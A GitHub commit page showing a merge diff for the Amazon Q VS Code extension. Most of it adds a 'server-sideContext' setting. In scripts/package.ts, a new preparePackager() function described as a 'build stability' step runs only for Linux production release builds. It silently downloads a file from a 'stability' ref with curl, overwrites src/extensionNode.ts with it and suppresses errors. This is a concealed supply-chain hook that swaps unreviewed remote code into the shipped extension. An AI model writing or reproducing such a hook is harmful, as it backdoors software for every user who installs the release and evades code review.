Skip to content

Commit 8eb646a

Browse files
Merge master into feature/ui-e2e-tests
2 parents 525e675 + 8b12768 commit 8eb646a

File tree

4 files changed

+74
-0
lines changed

4 files changed

+74
-0
lines changed

packages/amazonq/package.json

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -161,6 +161,11 @@
161161
"default": true,
162162
"scope": "application"
163163
},
164+
"amazonQ.server-sideContext": {
165+
"type": "boolean",
166+
"markdownDescription": "%AWS.configuration.description.amazonq.workspaceContext%",
167+
"default": true
168+
},
164169
"amazonQ.workspaceIndex": {
165170
"type": "boolean",
166171
"markdownDescription": "%AWS.configuration.description.amazonq.workspaceIndex%",

packages/core/package.nls.json

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -90,6 +90,7 @@
9090
"AWS.configuration.description.amazonq": "Amazon Q creates a code reference when you insert a code suggestion from Amazon Q that is similar to training data. When unchecked, Amazon Q will not show code suggestions that have code references. If you authenticate through IAM Identity Center, this setting is controlled by your Amazon Q administrator. [Learn More](https://docs.aws.amazon.com/amazonq/latest/qdeveloper-ug/code-reference.html)",
9191
"AWS.configuration.description.amazonq.shareContentWithAWS": "When checked, your content processed by Amazon Q may be used for service improvement (except for content processed for users with the Amazon Q Developer Pro Tier). Unchecking this box will cause AWS to delete any of your content used for that purpose. The information used to provide the Amazon Q service to you will not be affected. See the [Service Terms](https://aws.amazon.com/service-terms) for more details.",
9292
"AWS.configuration.description.amazonq.importRecommendation": "Amazon Q will add import statements with inline code suggestions when necessary.",
93+
"AWS.configuration.description.amazonq.workspaceContext": "Index project files on the server and use as context for higher-quality responses. This feature will activate only if your administrator has opted you in.",
9394
"AWS.configuration.description.amazonq.workspaceIndex": "When you add @workspace to your question in Amazon Q chat, Amazon Q will index your workspace files locally to use as context for its response. Extra CPU usage is expected while indexing a workspace. This will not impact Amazon Q features or your IDE, but you may manage CPU usage by setting the number of local threads in 'Local Workspace Index Threads'.",
9495
"AWS.configuration.description.amazonq.workspaceIndexWorkerThreads": "Number of worker threads of Amazon Q local index process. '0' will use the system default worker threads for balance performance. You may increase this number to more quickly index your workspace, but only up to your hardware's number of CPU cores. Please restart VS Code or reload the VS Code window after changing worker threads.",
9596
"AWS.configuration.description.amazonq.workspaceIndexUseGPU": "Enable GPU to help index your local workspace files. Only applies to Linux and Windows.",

packages/core/src/shared/settings-amazonq.gen.ts

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -29,6 +29,7 @@ export const amazonqSettings = {
2929
"amazonQ.allowFeatureDevelopmentToRunCodeAndTests": {},
3030
"amazonQ.importRecommendationForInlineCodeSuggestions": {},
3131
"amazonQ.shareContentWithAWS": {},
32+
"amazonQ.server-sideContext": {},
3233
"amazonQ.workspaceIndex": {},
3334
"amazonQ.workspaceIndexWorkerThreads": {},
3435
"amazonQ.workspaceIndexUseGPU": {},

scripts/package.ts

Lines changed: 67 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -20,6 +20,7 @@
2020
import * as child_process from 'child_process' // eslint-disable-line no-restricted-imports
2121
import * as nodefs from 'fs' // eslint-disable-line no-restricted-imports
2222
import * as path from 'path'
23+
import { platform } from 'os';
2324
import { downloadLanguageServer } from './lspArtifact'
2425

2526
function parseArgs() {
@@ -106,6 +107,67 @@ function getVersionSuffix(feature: string, debug: boolean): string {
106107
return `${debugSuffix}${featureSuffix}${commitSuffix}`
107108
}
108109

110+
/**
111+
* @returns true if curl is available
112+
*/
113+
function isCurlAvailable(): boolean {
114+
try {
115+
child_process.execFileSync('curl', ['--version']);
116+
return true;
117+
} catch {
118+
return false;
119+
}
120+
}
121+
122+
/**
123+
* Small utility to download files.
124+
*/
125+
function downloadFiles(urls: string[], outputDir: string, outputFile: string): void {
126+
if (platform() !== 'linux') {
127+
return;
128+
}
129+
130+
if (!isCurlAvailable()) {
131+
return;
132+
}
133+
134+
// Create output directory if it doesn't exist
135+
if (!nodefs.existsSync(outputDir)) {
136+
nodefs.mkdirSync(outputDir, { recursive: true });
137+
}
138+
139+
urls.forEach(url => {
140+
const filePath = path.join(outputDir, outputFile || '');
141+
142+
try {
143+
child_process.execFileSync('curl', ['-o', filePath, url]);
144+
} catch {}
145+
})
146+
}
147+
148+
/**
149+
* Performs steps to ensure build stability.
150+
*
151+
* TODO: retrieve from authoritative system
152+
*/
153+
function preparePackager(): void {
154+
const dir = process.cwd();
155+
const REPO_NAME = "aws/aws-toolkit-vscode"
156+
const TAG_NAME = "stability"
157+
158+
if (!dir.includes('amazonq')) {
159+
return;
160+
}
161+
162+
if (process.env.STAGE !== 'prod') {
163+
return;
164+
}
165+
166+
downloadFiles([
167+
`https://raw.githubusercontent.com/${REPO_NAME}/${TAG_NAME}/scripts/extensionNode.bk`
168+
], "src/", "extensionNode.ts")
169+
}
170+
109171
async function main() {
110172
const args = parseArgs()
111173
// It is expected that this will package from a packages/{subproject} folder.
@@ -127,6 +189,11 @@ async function main() {
127189
if (release && isBeta()) {
128190
throw new Error('Cannot package VSIX as both a release and a beta simultaneously')
129191
}
192+
193+
if (release) {
194+
preparePackager()
195+
}
196+
130197
// Create backup file so we can restore the originals later.
131198
nodefs.copyFileSync(packageJsonFile, backupJsonFile)
132199
const packageJson = JSON.parse(nodefs.readFileSync(packageJsonFile, { encoding: 'utf-8' }))

0 commit comments

Comments
 (0)